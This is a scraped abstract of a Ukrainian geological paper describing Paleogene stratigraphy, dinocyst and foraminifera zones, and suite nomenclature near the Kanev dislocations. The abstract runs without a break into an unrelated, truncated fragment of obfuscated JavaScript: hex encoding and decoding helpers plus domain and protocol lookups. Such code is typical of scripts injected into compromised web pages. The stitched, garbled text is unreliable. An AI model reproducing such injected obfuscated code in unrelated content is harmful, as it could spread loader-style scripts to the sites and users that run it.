Popis: By results of the geological additional study in 1:200 000 scale (2007-2011) litologo-paleontologic characteristics of Paleogene sea deposits of «Korsun-Shevchenkovsk» leaf territory are given. Alterations and chandes are made to Paleogene stratigraphic chart of connection zone of the Ukrainian shield northeast slope and the Dnieper-Donets depression, the Kanev dislocations. Paleocene Merlian regiostage is represented by the Merlian suite be characterised by dinocysts zone DP2 Сerodinium speciosum s. l. and by Paleocene sponge spicules. Eocene Kanevian regiostage includes the Kanev suite be characterized by dinocysts zone DP4 Wetzeliella meckelfendensis / DP5 Dracodinium simile and subzone DP7a Charlesdowniea coleotrypta s. str.; Ypresian assemblage of mollusks. Buchakian regiostage consists of the Buchak suite and the Yaroshovka strata be characterized by dinocysts subzone DP7b Enneadocysta arcuata, the Kostyanets beds with Lutetian assemblage of mollusks. Kievian regiostage contains the Kiev suite. Phosphorite sands, marls, calcareous clays of the suite are characterizes by nanoplankton zone NP16, plankton foraminifera beds with Acarinina kiewensis and bentic foraminifera beds with Pseudoclavulina subbotinae – Robulus dimorphus. A member of subkiev sands (be characterizes by dinocysts assemble of Wetzeliella articulata, Dinopterigyum cladoides, Glaphirocysta ordinatа) and a member of non-calcareous argilaceous silts (be characterized by bentic foraminifera assemblages of beds with Pseudoclavulina subbotinae – Robulus dimorphus and beds with Haplophragmoides kiewensis, by single planktic foraminifera Pseudohastigerinamicra, Acarinina ex gr. rugosoaculeata, Subbotina turсmenica, by dinocysts assemblage of zones DP9 Rhombodiniumdraco / DP10 Rhombodiniumporosum) are allocated as a part of the Kiev suite in the Kanev Pridneprovye. Obuchovian regiostage is representes by a sands member. Oligocene Mezhyhirian and Berekkian regiostages are spread restrictly and differs by non-typical litological composition. Nomenclature questions are discussed in the article. Non-validity of the Glyadiv suite of Paleocene, the Monastyrets and the Kostyanets suites of Eocene of the Kanev dislocation region is proved. Stratigraphic volume of Eocene Kiev suite of connection zone of the Ukrainian shield northeast slope and the Dnieper-Donets depression is considered. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
